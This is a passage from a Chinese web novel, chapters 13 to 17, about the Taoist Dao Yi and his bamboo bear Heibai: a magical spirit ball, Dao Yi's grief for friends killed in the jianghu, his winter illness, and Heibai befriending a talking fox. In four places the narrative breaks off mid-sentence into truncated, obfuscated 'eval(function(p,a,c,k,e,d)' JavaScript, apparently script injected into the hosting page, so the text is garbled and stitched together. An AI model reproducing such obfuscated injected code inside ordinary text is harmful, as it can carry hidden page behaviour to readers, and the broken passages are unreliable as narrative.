道一看着它那副享受的样子,想起那本旧书上的话——“灵宝现世,得之者可获天地灵气滋养。”他以前不信这些,觉得都是江湖上的人瞎编的。 但现在他看着黑白那副样子,他信了。这个东西,在它身上起作用了。它感觉到了他感觉不到的东西。 黑白玩了一会儿,忽然停下来,把球叼起来,跑到道一面前,把球放在他脚边,然后用爪子指了指球,又用鼻子拱了拱道一的手,又指了指球,又拱了拱他的手。 它在说:你也试试,很舒服的。 道一愣了一下。他看着黑白那副认真的样子,弯腰把球捡起来,在手心里拨了两下。球轱辘轱辘转了两圈,凉凉的,沉甸甸的,上面的线条硌着手心。他什么也没感觉到。他把球放下,摇了摇头。 黑白歪着头看他,不太明白。它又把球叼起来,放在道一手里,然后自己用爪子拨了一下道一的手指,让他拨球。道一又拨了两下,还是什么也没有。 黑白急了。它把球从道一手里叼回来,放在地上,用自己的爪子拨了一下,然后立刻把下巴搁在球上,眯起眼睛,耳朵往后抿着,尾巴慢慢地扫,做出一副很享受的样子。 做完这个,它把球推给道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我查到了。”他说。“那个让你舒服的东西,叫灵气。是天地之间的精华,很罕见的东西。这个球里有灵气,大概是你拨它的时候,灵气就会流到你身上。所以你觉得舒服。” 黑白抬起头,看着他。它不太明白什么是“灵气”,什么是“天地精华”,但它听懂了——那个舒服的东西叫灵气,是球里的,流到它身上了。 它低头看了看怀里的球,又看了看道一,把球往他那边推了推,好像在说:那你也让它流到你身上。 道一看着它推球的动作,笑了一下。他把球捡起来,塞回布袋里,系好系带。 “我感受不到。书上说,只有心性纯朴、灵窍自开的东西才能感受到。我修了几十年的道,心不纯,窍不开,比不上你。”他的声音很轻,没有自嘲,也没有遗憾,只是平平静静地说出来。黑白歪着头看他。 它把下巴搁在他的膝盖上,蹭了蹭。 道一摸了摸它的头,又说:“虽然书上说灵气对你有好处,但我还是不放心。这东西在江湖上闹了几十年,谁也不知道它到底有什么用。我得再看看。” 接下来的几天,道一仔细观察黑白玩球时的样子。他发现每次黑白抱着球玩了一会儿之后,都会变得特别精神,眼睛更亮,毛色更润,跑起来更有劲儿。它以前从竹林回来会累,会趴在他脚边喘气,但现在它跑回来的时候,喘几口气就好了,又开始在院子里追球。 它的爪子也比以前更有力了,拍在球上的时候,球轱辘轱辘滚得老远,它追上去的速度也更快了。有一次它追球的时候跑得太快,没刹住,一头撞到石桌腿上,道一吓了一跳,以为它会疼得叫。但它只是甩了甩头,又去追球了。 它的毛比以前更厚更亮,摸上去滑溜溜的,像缎子一样。道一摸着它的头,心里越来越确定——这个球,对它有用。不仅有用,而且只有对它有用。 他观察了好几天,没有发现任何不好的地方。它没有不舒服,没有没精神,没有不吃东西。它反而比以前更活泼,更健康,更快乐。 他放下心来。 13. 第十三章:小球的秘密(下) 又过了几天,黑白才过了对小球的那股子兴奋劲,这才想起来问道一小球是从哪里来的。 道一坐在屋檐下,黑白叼着球跑到他面前,把球放在他脚边,然后用爪子指了指球,又歪着脑袋看他,示意道一:你哪里来的小球? 道一明白了黑白意思,沉默了一会儿。他不想提那些事。那些事太远了,太沉了,他不想再翻出来。 但他看着黑白蹲在他面前,安安静静地等着,尾巴在地上慢慢扫着,他忽然觉得,也许该说一说了。 那么多人想要的宝物,最后却和眼前这头小竹熊有缘分,给它说说也好。万一有一天再有人找上门来,也明白原由,想到这里道一眼里的光暗了下去。 他弯腰把球捡起来,放在手心里。球是凉的,沉甸甸的,上面的线条硌着他的手心。 “这个球,”他说,“是在四十多年前出现的。没有人知道它从哪里来,没有人知道它是什么,但所有人都说它是宝物,说得到它就有天大的好处。消息传开以后,整个江湖都疯了。今天你抢,明天他抢,后天别人又抢回去。今天这个人死了,明天那个人死了,后天又死了一群人。” 黑白安静地趴在他脚边,耳朵竖着,一动不动。它不知道什么是“江湖”,什么是“疯了”,但它听见道一的声音变了。不是平时那种平平淡淡的声音,也不是念书时那种轻轻柔柔的声音,是一种它没听过的声音,像有什么东西在里面压着,压得很紧。 “我也有朋友。”道一说。他的声音低了下去。 “我们一起闯江湖的,几个人,年轻,什么都不怕。我们不想争这个东西,我们只是路过。但这个东西就像一块吸铁石,谁沾上谁倒霉。我们被卷进去了,想走都走不了。” 他停了一下,手指在膝盖上慢慢攥紧,又慢慢松开。 “我们逃了很久。那些人追着我们,不放。我们想过把东西毁掉——拿刀劈,劈不开;用火烧,烧不坏。我们把它扔了,但那些人不信。他们觉得我们藏起来了,追得更紧。” 道一的声音越来越低,低到几乎听不见。 “后来,他们一个一个地走了。有的为了保护我,有的为了保护别人,有的是在逃跑的时候……一个一个地,都没了。最后,只剩我一个人。” 他低下头,看着黑白。 “阴差阳错,原本丢掉的灵宝又回到了我手上。”道一的声音紧绷。 “江湖上的人也以为我死了。没有人知道我还活着。我带着这个东西,走了很远,走到这座山上,走到这座道观里。这道观那时候已经没人了,房子快塌了,院子里长满了草。我就在这里住下来了。一住就是四十年。” “变成了道一。” 他抬起头,看着院子里的老树,看着墙根的兰草,看着屋檐下那些黑白带回来的东西。他的目光从干笋移到枯草,从枯草移到花瓣,从花瓣移到石头,最后落在窗台上那个灰扑扑的木头球上。它安安静静地躺在那里,和那些东西挤在一起。 “我恨这个东西。”他说。声音很轻,语气却藏着恨意。 “我恨它害死了我的朋友,恨它让那么多人送了命,恨它让整个江湖血流成河。我恨不得把它砸碎,把它烧成灰。但我砸不碎,烧不坏,扔不掉。我只能把它藏起来,藏在厕房里,藏了几十年。我以为它会烂掉,会变成泥,会变成土,会从我生命里消失。但它被你翻出来了。” 他低头看着黑白。 “或许它和你有缘。” 黑白仰着头看道一,它知道,这个东西让道一很难过。 它低下头,用鼻子拱了拱球,把它滚到一边去。表明自己不再喜欢这个让道一难过的球了。 道一看着它拱球的样子,忽然笑了。 “你别拱它。”他说。 “它不是坏东西。它不是自己要害人的。是那些人的心坏了,不是它坏了。它只是一团灵气,什么也不知道。它被人抢来抢去,被人争来争去,它自己也不想。”道一看着和自己同仇敌忾的黑白。 黑白停下来,抬起头看他。 “它在厕房里躺了四十年,什么也没沾上。它还是干干净净的。它被你翻出来以后,让你舒服,让你健康,让你高兴。它没有害你。”他伸出手,摸了摸黑白的头。 “它和你在一起,才是对的。那些年争来抢去的人,没有一个知道它有什么用。他们只知道抢,只知道争,只知道为它送命。它等了几十年,等的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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道一弯腰把球捡起来,重新塞回布袋里。他摸了一下球面,那些线条硌着他的手指,凉凉的,沉沉的。他把布袋摆正,轻轻拍了拍。然后他靠在椅背上,闭上了眼睛。 四十多年了。 这个球,终于有了该去的地方。 14. 第十四章:秋天的落叶 秋天来了。 院子里的老树叶子开始变黄,一片一片的,从枝头慢慢飘下来,落在石桌上,落在石凳上,落在道一的肩上,落在黑白的鼻子上。 每天早上的功课,黑白从来没有落下过。 天刚亮,它就从竹筐里跳出来,跑到院子里,先用爪子蘸着水在石板上写字。它现在已经会写很多字了,有时候还会写一两句短话。写完字,它把石板上的水迹擦掉,然后开始做道一教它的运动功课。 道一给它编了一套拳法,是根据它的身体改过的——太复杂的它做不了,太简单的又活动不开。 道一花了好长时间才改好,改的时候在院子里比划来比划去,黑白蹲在旁边看,以为他在练功,也跟着比划。道一看着它那副认真的样子,嘴角弯了一下,把动作又优化了一些。 如今的黑白,打这套拳法已经和几个月前大不一样了。 它先站起来,用两条后腿撑着地——这一步它练了不知道多少遍,现在站得稳稳当当的,像一棵扎了根的小树苗,风吹过来都不晃。 站稳以后,它把两只前爪抬起来,深吸一口气,开始打拳。推掌。它的爪子从胸口慢慢推出去,带着一股劲儿,推到尽头的时候,爪尖微微发颤,像是有什么东西从身体里涌到了指尖。 划臂。爪子往旁边划开,划出一个圆弧,空气被它带动,发出轻轻的呼声。收势。爪子收回来,放在腰侧,稳稳当当的。 它一套动作打下来,行云流水,虽然因为身体圆滚滚的缘故,看着还是憨态可掬,但那股劲儿是实的,不是虚的。爪子推出去的时候,能听见轻微的破风声。 它的后腿纹丝不动,前爪稳如磐石,每一招每一式都干净利落,和几个月前摇摇晃晃、动不动就摔个四脚朝天的样子判若两熊。 道一坐在屋檐下,手里端着一杯茶,看着它打拳。他的眼睛微微眯着,嘴角有一点点弧度,很是欣慰。 黑白的动作越来越好了。最开始学的时候,它站不稳,推掌推到自己肚子上,划臂划到栽跟头,收势收得四脚朝天。现在它站得像一棵松,推掌带风,划臂有力,收势沉稳。一套拳打下来,气不喘,腿不软,浑身舒坦。打完了,它收了势,四脚着地,甩了甩毛,跑到道一面前,仰着头看他。 道一伸手摸了摸它的头。“不错。”他说。 这些日子,黑白觉得自己的身体好像和以前不太一样了。它说不清楚,就是觉得四肢更有力了,站得更稳了,打拳的时候爪子上好像带着一股劲儿,推出去的时候空气都被它推开了。那股劲儿不是它使出来的,是从身体里面自己冒出来的,从肚子里,从胸口里,从骨头缝里,像溪水一样往外涌。 它打拳的时候,那股劲儿就顺着胳膊流到爪尖,呼的一声推出去;它收势的时候,那股劲儿又流回来,回到肚子里,暖暖的,像揣了一个小火炉。 它最喜欢做的动作,是道一教它的最后一个——两只前爪从身体两侧慢慢抬起来,抬到头顶,合在一起,然后慢慢放下来。 这个动作它练了最久。抬起来不难,难的是合在一起。它的爪子短,够不到头顶,每次抬到最高的时候,两只爪子还差一截才能碰到一起。它使劲往上够,身体跟着往后仰,后腿站不稳,整个身体往后倒,屁股先着了地,然后整个背躺下去,四脚朝天。 它躺在石板地上,看着天上的云,喘了一口气,翻过身来,爬起来,重新站好,重新抬爪子。够不到,再够,还是够不到实在是爪子短。 自从吃了神奇的小果子变成幼崽样子,黑白就一直没长大过了。偶尔有相熟的香客问起,道一也只是背着黑白解释道这一只小时候营养不良,后面再也养不大了。 无奈,黑白只好后爪直立,前爪从脑袋两边直直的举起,看起来呆头呆脑的,可黑白偏偏又是一副再认真不过的样子。 道一每次看见都忍俊不禁,为了满足自己的私心,最后一式愣是没有修改保留下来了。每次做这个动作,道一都会开心,黑白也跟着开心,更加卖力了。 现在它做这个动作的时候,两只爪子稳稳地举在脑袋两侧,身体纹丝不动,像一座肥嘟嘟的小山。 之后它暂停一会儿,然后慢慢放下来,动作又稳又缓,爪子经过面前的时候,带起一阵风,吹得它脸上的毛微微往后飘。做完最后一个动作,它收了势,四脚着地,长长地呼出一口气。 做完功课,黑白跑去吃了窝窝头。然后趴在屋檐下,把灵宝小球从布袋里倒出来,用爪子拨了一下。球轱辘轱辘滚出去,它追回来,再拨一下,再追回来。 玩了几趟,它把球抱在怀里,那股暖洋洋的感觉又来了,从肚皮开始,慢慢扩散到四肢,扩散到爪尖。它觉得很舒服,很满足。 这些日子里,道观也陆陆续续有了一些香客。自从那个背柴的妇人把黑白的故事传出去以后,时不时会有人爬上半山腰,来这座小小的道观上炷香,添点香火钱。 黑白很开心,道一不用一直一直做木工补贴道观了,陪自己玩耍的时间都变多了。 有的人是真的来求平安的,有的人是来瞧稀罕的——听说这里有只很有灵性竹熊,想亲眼看看。 每次有人来,道一都会去前殿招呼,它就跟在脚边,蹲在门槛上看。道一从不让它在人前写字,也不许它打拳。 有人来的时候,黑白就只是一只普通的竹熊,会追球,会打滚,会趴在道一脚边睡觉。道一跟它仔细的说过,它知道,有些事只能在院子里做,只能在道一面前做。这是他和它之间的秘密。 来的人多了,黑白见的人也多了。它发现人和人不一样。有的人说话轻轻柔柔的,捐了香火钱就走,走的时候还会回头看一眼,冲它笑一笑。 有的人嗓门大,一进门就嚷嚷,说这说那,说完了还要摸它的头。黑白让摸,但摸完以后会跑到道一身后蹭蹭毛,把那个人的气味蹭掉。 有的人来了什么都不做,只是跪在三清祖师前面,跪很久,起来的时候眼睛红红的。黑白蹲在旁边看着,和道一一起安静地陪着,不动,不叫。 大部分人第一次见到黑白的时候,是会害怕的。山里有熊,谁都知道。熊会伤人,谁也都知道。所以当香客们在前殿烧完香,转到后院,看见一只圆滚滚的竹熊趴在屋檐下的时候,第一个反应都是往后退一步。 但他们很快就发现,这只熊不太一样。 它就趴在那里,不叫,不扑,不龇牙。它只是抬着头,用一双带着眼圈的眼睛看着他们,安安静静的。再加上山下那些传闻——说这只熊通人性,说它会给穷人送银子,说它是神仙座前的灵兽——香客们的害怕就慢慢变成了好奇。 “它……不咬人吧?”有人小心翼翼地问。道一摇摇头。于是有人大着胆子走近一步。黑白没有动。又走近一步。黑白还是没动。它就趴在那里,歪着脑袋看他们。 胆子最大的那个人蹲下来,伸出手,试探着摸了摸黑白的头。黑白让他摸,还眯起了眼睛。 那人“哎呀”一声,回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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站起来,拍了拍衣袍上的灰,转身走了。走到门口的时候,他停下来,回头看了一眼。他的目光从黑白身上移到供桌上那锭碎银子上,停了一下,然后走了。 黑白蹲在门槛上,看着他的背影消失在门外的山路拐弯处。它站起来,跑到道一脚边,用鼻子拱了拱他的手。 道一顺着它的目光看过去,看见香案上那锭银子。他走过去,把银子拿起来,放进箱子里。 “黑白,”他说,“你刚才看那个人,看出了什么?” 黑白想了想,用爪子在地上比划了几个字:笑,眼睛不笑。 道一看着那几个字,点了点头。 “你看出来了。”他说。他在黑白旁边坐下来,伸手摸了摸它的头。 “人活在世上,很多时候不能把心里的东西写在脸上。高兴的时候不能笑,难过的时候不能哭,生气的时候不能发火。不是不想,是不能。怕人看见,怕人问,怕人知道了以后……会怎么样。”他低头看着黑白。 “那个人,他心里有事。他来上香,捐银子,是想求个心安。但他自己知道,银子捐了,心安不了。” 道一的手指在它耳朵后面慢慢滑过。 “黑白,”他的声音温和,“我年纪大了。”黑白抬起头,看着他。 “以后你会遇到很多人。你虽然有些神奇之处,可是你毕竟是一只小熊,你远远地离开他们。要是避不开,就学着找不会伤害你的凑一块。” 黑白听到这里,有些难受,不想让道一说了,它站起来走到他面前,把下巴搁在他的膝盖上。 道一摸了摸小熊的头,便不再说了。他怕担心黑白一只熊在这世上的时候,分不清好坏,被人骗,被人害。它太干净了,干净得像一张白纸。 这世上的人,不是都像它一样干净。 15. 第十五章:道一的病 院子里的老树还没落完叶子,北风就来了。 风从竹林那边刮过来,带着刺骨的凉意,钻进屋檐的缝隙里,钻进人的衣领里。 黑白倒是不怕冷,它的毛又厚了一层,摸上去像缎子一样滑溜,每天早上的拳照打不误,打完浑身暖烘烘的。 但道一不一样。他老了。 道一的咳嗽是从秋末开始的。起初只是偶尔咳几声,他不当回事,黑白也不当回事。后来咳得越来越密,从一天几次变成一天几十次,从轻轻的咳变成重重的、闷闷的咳,像是有什么东西堵在胸口,怎么咳都咳不出来。 入冬以后,第一场雪还没下,他就病倒了。 那是黑白第一次看见道一躺了一整天。 早上它从竹筐里跳出来,跑到道一床边,用鼻子拱了拱他的手。 道一动了动,没有醒。他的脸很红,不是那种健康的红,是烧的。黑白又拱了拱,他还是没有醒。他的眉头皱着,嘴唇干裂了,呼吸又重又急,像拉风箱一样。 黑白知道这是发热了,但是道一炮制的药材已经没有了。山下的村子很穷,村民来烧香时,道一分就把药材给有需要的香客了。 它叼起道一给它编的竹篮子,往后山跑。 道一教过它认草药,不是专门教的,是制香的时候顺手指的,是在院子里晒草药的时候它蹲在旁边看,他一样一样地告诉它的。它都记住了。 篮子里堆得满满当当的,它叼着篮子的提手,歪着头看路,深一脚浅一脚地跑回道观。 它把篮子放在道一床边,用鼻子拱了拱道一的手。这次道一醒了,他的眼睛睁开了一条缝,看见黑白蹲在床边,看见地上那个装满草药的篮子。 道一抬手揉了揉黑白小脑瓜,起身拿着草药,慢慢地挪到厨房。 黑白蹲在厨房门口,一股苦苦的药味从药罐里冒出来,它鼻子一抽一抽的,闻着那个味道。道一端着碗出来的时候,黑白跟在他脚边,一直跟到屋里。 道一坐在床边,吹了吹碗里的药汤,喝了一口。 黑白蹲在他面前,仰着头看他,看着他的喉咙动一下把药咽下去。 从那天起,道观的门就关了。 黑白每天叼着篮子去后山找草药,找到就带回来,放在道一床边。道一每天煮了喝,喝了还是咳。黑白不知道该怎么办,它只能继续找,每天找,找到那片山坡上的草药都被它薅秃了,它就去更远的山坡。 它还把院子里的活都包了。托打拳的福,直立得稳稳当当,两只爪子抱着比自己还高的扫帚,把院子扫得干干净净。打水,它用爪子把水桶从井边推到厨房,水洒了一路,但厨房里的水缸总是满的。劈柴,它不会劈,但它会把柴火一根一根地叼到厨房门口,堆得整整齐齐。 道一从窗户里看见它在院子里忙活,小小的身影在院子里跑来跑去,叼着扫帚,推着水桶,堆着柴火。他看一会儿,闭上眼睛,嘴角弯一下。 道一的身体时好时坏。好的时候,他能下床走几步,坐在窗边的椅子上,看着黑白在院子里忙。坏的时候,他连翻身都费劲,一整天躺在床上,咳得整个人都在抖。黑白就不出去了,就趴在他床边。 道一有时候清醒,有时候糊涂。清醒的时候,他会伸手摸摸黑白的头,说一些话。“你今天又去薅草药了?那片山坡的草都快被你拔光了。”黑白在他手心里蹭一蹭,尾巴扫一下。“你把水桶推翻了三次吧?厨房地上全是水。”黑白把脑袋缩回去,有点心虚。 “没事,”道一说,“干了就好了。”黑白又把脑袋伸回来,蹭了蹭他的手。 糊涂的时候,他会说一些黑白听不懂的话。“陈大哥……你别走那么快……”“周兄弟,你倒是说句话啊……”“小林,小林,你回来……”他的声音很沙哑。 黑白不知道他在叫谁,但它知道他不高兴。它会从地上站起来,把下巴搁在他的手心里,不动了。他的手会握住它的下巴,不紧,松松的,像握着一块暖玉。他的呼吸会慢慢平稳下来,眉头会慢慢松开。 有一天晚上,月亮很大。黑白趴在道一床边,因为道一生病好久没有玩灵宝小球了,这时候道一睡得安稳了,黑白把灵宝小球从布袋里倒出来,用爪子拨了一下。突然想到了什么。 黑白叼起球,跑到道一床边,把球放在他手心里。 道一正睡着,忽然手里多了一个的球,醒了过来。他转头看着蹲在床边的黑白,不知何意。 黑白先是比划对着小球吸气,再表现出满足舒服的神情。道一一看就明白了,这是让他用小球滋养身体呢。 他把球举到眼前查看,黑白着急地抬头推着他的手,把球塞进他的怀里,用鼻子拱了拱,让球贴着他的胸口。 然后它退后两步,蹲下来,仰着头看他,它在等,等他的脸上出现那种舒服的表情,就像它每次玩完球以后被小球滋养后的表情。 道一看着它的眼睛,嘴角弯了一下。他闭上眼睛,把头靠在枕头上,做出很舒服的样子。他的嘴角弯着,眉头松开了,呼吸变慢了。他装得很像。 黑白以为灵气起作用了,以为道一要好了。它想了一下,然后跳上了道一的床。道一吓了一跳,还没来得及反应,黑白已经把自己团成一团,缩在他的怀里,把球夹在他们两个中间。球在中间轱辘轱辘滚了一下,被它的肚皮和道一的胸口夹住了,不动了。 道一低头看着怀里这团毛茸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑白把球从布袋里倒出来,用爪子拨了一下,球轱辘轱辘滚到院子里。它追上去,叼回来,放在道一脚边,期待地仰着头看他,它已经一整个冬天没有和道一玩过了。 道一弯腰把球捡起来,朝院子里扔了出去,“去玩吧。”他说。 黑白快乐地奔向院子里滚动的小球,在春天的阳光里追着球跑来跑去。它的尾巴翘得高高的,耳朵支着,四条小腿倒腾得飞快,圆滚滚的身子一颠一颠的。 道一站在屋檐下,看着它,嘴角弯着。风从竹林那边吹过来,带着竹叶的清香,带着春天的气息。他靠在门框上,看了很久。 16. 第十六章:小狐狸 雪化干净以后,院子里的老树冒出了嫩绿的新芽,墙根的兰草抽出了新叶,连石板缝里都钻出了细细的青苔。 风从竹林那边吹过来,不再像冬天那样刺骨,而是带着一股湿润的、暖暖的气息,还有竹叶的清香。 黑白每天还是早早起来,写字,打拳,打扫院子,把水缸装满。道一的身体恢复后,不再像以前那样忙里忙外,大多数时候坐在窗边的椅子上,手里捧着一本书,看一会儿,歇一会儿。 黑白忙完了,就跑过去趴在他脚边,把下巴搁在他的鞋面上。道一低头看它,伸手摸摸它的头,它就把眼睛眯起来,扭动身体。 “春天了,”道一说,“竹林里的笋该冒出来了。” 黑白耳朵一动,抬起头看他。笋。它已经一个冬天没吃过笋了。整个冬天它吃的都是干竹叶,硬邦邦的,没什么味道,只是填肚子。它想起春笋的滋味——嫩嫩的,甜甜的,咬一口汁水直流。它的口水一下子涌了出来,没兜住,从嘴角淌下来,滴在道一的鞋面上,吧嗒一声。 黑白愣住了。它低头看着道一鞋面上那滴亮晶晶的口水,耳朵慢慢往后抿,整只熊缩了缩,把脑袋往道一的小腿后面藏了藏。它不好意思了。 它已经是一只大熊了,会写字,会打拳,会抱着扫帚扫院子,会把水缸装满,会把柴火堆得整整齐齐。它不该像只没长大的小熊一样流口水。 它把脸埋在道一的裤腿上,蹭了蹭,想把那滴口水蹭掉,结果又蹭了一道湿印子。它更不好意思了,把脑袋埋得更深。 道一低头看着鞋面上的口水,又看着黑白那副恨不得把自己藏起来的样子,嘴角弯了一下。贴心地没有笑出声,只是伸出手,在黑白的头顶上轻轻拍了拍。 “去吧,”他说,“去吃笋吧,别光顾着我。” 黑白从他小腿后面探出脑袋,看了看道一的脸,没有笑话它的意思。它的耳朵慢慢竖起来,在道一的小腿上蹭了蹭,然后转身往院门跑。跑了几步,又停下来,回头看了他一眼。 道一冲它摆了摆手。“去吧,我哪儿也不去。” 黑白这才放心,往后山跑。 竹林就在道观后面,不远。黑白跑进竹林的时候,空气里全是竹叶的清香,湿湿的,润润的,吸一口就觉得浑身舒坦。它站在竹林边上,深深地吸了一口气,然后低下头,开始找笋。 笋已经从土里冒出来了。有的刚露头,尖尖的,嫩绿色的,上面还带着露水;有的已经长了一截,壳是青的,掐一下能出水。黑白挑了一根最嫩的,咬住,咔嚓一声,汁水在嘴里炸开。 它嚼了两下,咽下去,又咬了一口。那味道太美了,它眯起眼睛,耳朵往后抿着,后腿不自觉地蹬了一下。 它一口气吃了好几根,吃得肚子鼓鼓的,才停下来。它趴在地上,晒着从竹叶缝里漏下来的阳光,下巴搁在前爪上,尾巴慢慢地扫。 舒服。 然后它闻到了一股气味。很近,就在竹林深处。它的鼻子抽动了几下,头朝着那个方向转过去。那气味它闻过——去年秋天,在山头上,有一只红色的小狐狸蹲在那里朝道观张望。 它站起来,放轻脚步,慢慢地往竹林深处走。 越往里走,竹子越密,光线越暗。枯叶在地上铺了厚厚一层,踩上去软软的,几乎没有声音。黑白走得很慢,每一步都轻轻的,耳朵竖着,鼻子一抽一抽地追踪那股气味。那气味越来越浓了。它在前面,不远。 黑白绕过几棵粗竹子,在一丛灌木后面停了下来。它把脑袋探出去,看见了。 一只红色的小狐狸蹲在一块石头上它的毛色是那种很亮的红,尾巴又大又蓬松,比它的身子还大。 它正低着头舔毛,忽然竖起耳朵,头猛地转过来,朝黑白藏身的方向看。 “谁?”它问。声音尖尖的,脆脆的。 黑白从灌木后面走了出来。 小狐狸看见它,愣了一下。然后它的眼睛瞪大了,嘴微微张开,整个身体往后缩了缩。 “你、你是那只熊!”它叫起来,“道观里的那只熊!会写字的熊!”它往后退了两步,差点又从石头上滑下去,爪子扒住了石头边才稳住。 “你、你你你……你别过来!我可不是好惹的!我会咬熊的!我咬熊可疼了!” 黑白蹲在石头前面,歪着头看它,没有动。它心里想:它会说话欸。 它心里对小狐狸好奇死了,这怎么会说话的,能不能教教它,它也想对道一说话,但脸上什么也没露出来。它的耳朵竖着,眼睛安安静静的,尾巴一动不动。 小狐狸见它没有扑过来,胆子大了一点,把身子挺了挺,尾巴翘起来,做出很凶的样子。“你听见没有?我很厉害的!我上次还咬了一条蛇!那么大一条蛇!”它张开前爪比划了一下,比划得有点大,自己都觉得夸张了,又缩小了一点。 “反正……反正你别过来!” 黑白还是不动,就歪着头看它,眼睛黑亮亮的,安安静静的。 小狐狸被它看得有点心虚,尾巴慢慢放下来了。“你……你怎么不说话?你不是会写字吗?你怎么不写字?”它说着,又往后退了半步,“你该不会是想吃我吧?我可不好吃!我身上都是骨头,没有肉!你咬一口咯牙!”它呲了呲牙,露出几颗小小的犬齿,然后又合上了。 黑白站起来,走到那根笋旁边,低头咬住,轻轻一拔,笋就出来了。它把笋放在小狐狸面前,然后退后两步,蹲下来,歪着头看它,向它示好。 小狐狸低头看了看那根笋,又看了看黑白,又看了看笋。“给我干嘛,我又不吃”它问。 黑白暗自懊恼。心里索能用什么换小狐狸教它说话。 小狐狸见黑白不说话,一副老实样,胆子大了不少,走到黑白面前,围着他转了一圈。它闻了闻它的毛,又闻了闻它的爪子,又闻了闻它脖子上的布袋。 “这是什么?”它用爪子拨了拨布袋。黑白立刻把身体往旁边侧了一下,把布袋转到另一边,不让它碰。小狐狸愣了一下,又绕到另一边,爪子又伸过来。黑白又把身体转过去,把布袋护在肚子底下,两只前爪抱住布袋,下巴搁在上面,眼睛看着小狐狸。那个眼神很清楚:这个你不能碰。 小狐狸的爪子悬在半空中,缩了回去。“好啦好啦,不碰就不碰,小气鬼。”它嘟囔着,甩了甩尾巴。黑白没有理它,把布袋抱得更紧了一点。球在布袋里安安静静的,它感觉到了那股熟悉的暖意,心才放下来。 小狐狸在它旁边蹲下来,把自己蓬松的大尾巴卷到身前,用爪子梳了梳。 “我知道你,”它说,“山下的人都在说你。说你通人性,会写字,会给穷人送银子,还说你是神仙座前的灵兽。” 它看了黑白一眼,眼神有点复杂。“我本来想偷偷去看看你是什么样的,没想到在这里碰上了。” 黑白歪着头看它。它心里有很多问题,但它问不出来。它不会说话。它想了想,用爪子在地上划了几个字:你叫什么?小狐狸低头看着那几个字,不认识。 但管他的,自顾自地说道:“我不识字,我叫阿绯。你叫什么?” 黑白无辜的小眼神望着它,眼里的含义太明显了。 阿绯歪着头想了一会儿,接受了只能单方面的沟通现状,自己开口道:“我找了很久,没有找到第二个像我这样的。我以为只有我一个。”它看着黑白,眼睛亮亮的。 “没想到还有你。” 黑白看着它,心 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道一跟以往一样,拿起竹枝,看了看,放在窗台上,和那些干笋、枯草、花瓣、石头放在一起。窗台上已经摆了不少东西了,干笋挂在那里,枯草插在陶罐里,石头压在窗纸下面,竹枝挨着它们,绿绿的,在风里轻轻晃。 黑白看着那根竹枝,想起阿绯。想了想,用爪子沾了水在地上划了几个字。写完退后一步,让道一看。 石板上歪歪扭扭地写着:竹林,遇到一只狐狸,会说话。 道一看着那几个字,愣了一下。他的眉头微微皱起,又慢慢松开。“会说话的狐狸?”道一问。 黑白点了点头。它用爪子在地上继续写:它叫阿绯。它住在山那边。它不是普通的狐狸。它和我一样。 道一看着“它和我一样”这几个字,沉默了很久。 他想起很多年前在江湖上听过的一些传说——山中有精怪,能人言,通人性,极罕见。他以为那只是传说。他在这山里住了四十多年,见过无数动物,真正有灵性的,除了黑白,他没有见过第二个。 原来这世上还有另一个。原来黑白不是唯一的。 他低头看着黑白。它还仰着头,眼睛一眨不眨地看着他,它在等他的反应。 它把这件事告诉他了。它没有瞒他,它信任他。 道一伸出手,摸了摸黑白的头。“它是什么样的?”他问。黑白想了想,用爪子在地上写:红色的,尾巴很大。 又写:它咬熊很疼,但没咬我。道一的嘴角弯了一下。又写:它怕我吃它。道一终于笑了出了。 “它怕你吃它?”他问。 黑白点了点头,眼睛亮亮的,好像在说:它傻不傻? 道一看着它那副得意的样子,心里又暖又酸。它一只小熊觉得那只狐狸傻,是因为它自己从来不会伤害别人,所以它不明白别人为什么要怕它。 道一心里想着那只狐狸,它是什么时候来到这座山的?它为什么会说话?它接近黑白,是出于善意,还是另有所图? 他的手在黑白头上停了一下,又继续摸。他不想让黑白看出来他在想什么。黑白好不容易交到一个朋友——不是他,不是香客,不是那些来来往往的人,是一个和它一样的、会说话的、不是普通狐狸的朋友。它很高兴,他不该让它的高兴里掺进别的东西。 但他还是会在心里担心。他活了七十年,见过太多人。有的人笑着靠近你,心里藏着刀。有的人哭着求你帮忙,转身就把你卖了。他用了大半辈子才学会看人,可是眼前的小熊呢,它能辨别吗? 道一没有再说这件事。从那天起,道一开始留意后山的动静。 17. 第十七章:黑白做的窝窝头 自从那天在竹林里遇见阿绯,黑白的日子就不一样了。 每天早晨,黑白从道观的竹筐里跳出来,跑到后院吃了窝窝头,写完功课,就沿着那条被它扒出来的小路跑向竹林。 阿绯已经在那里等着了,蹲在那块大石头上,尾巴卷着身子,远远看见黑白的影子,就跳下来跑过去。 “你来了你来了!”阿绯围着黑白转圈,尾巴甩得像一面旗。它不吃竹叶,也不吃笋,它喜欢吃果子、抓虫子、偶尔偷鸟蛋。但它喜欢和黑白待在一起,黑白吃竹叶的时候,它就在旁边的草丛里追蚂蚱,或者趴在石头上晒太阳,眯着眼睛看黑白一口一口地嚼。 黑白不会说话,它会用爪子在地上写字。它蹲下来,在泥土上划拉了几个字:“今天抓到虫子了吗?” 阿绯凑过来看了看——它已经认识不少字了。 这些日子,它每天都跟着黑白来道观,道一念书的时候,它就趴在旁边听。道一写字的时候,它就趴在旁边看。它聪明,学得快,已经能认很多字了。 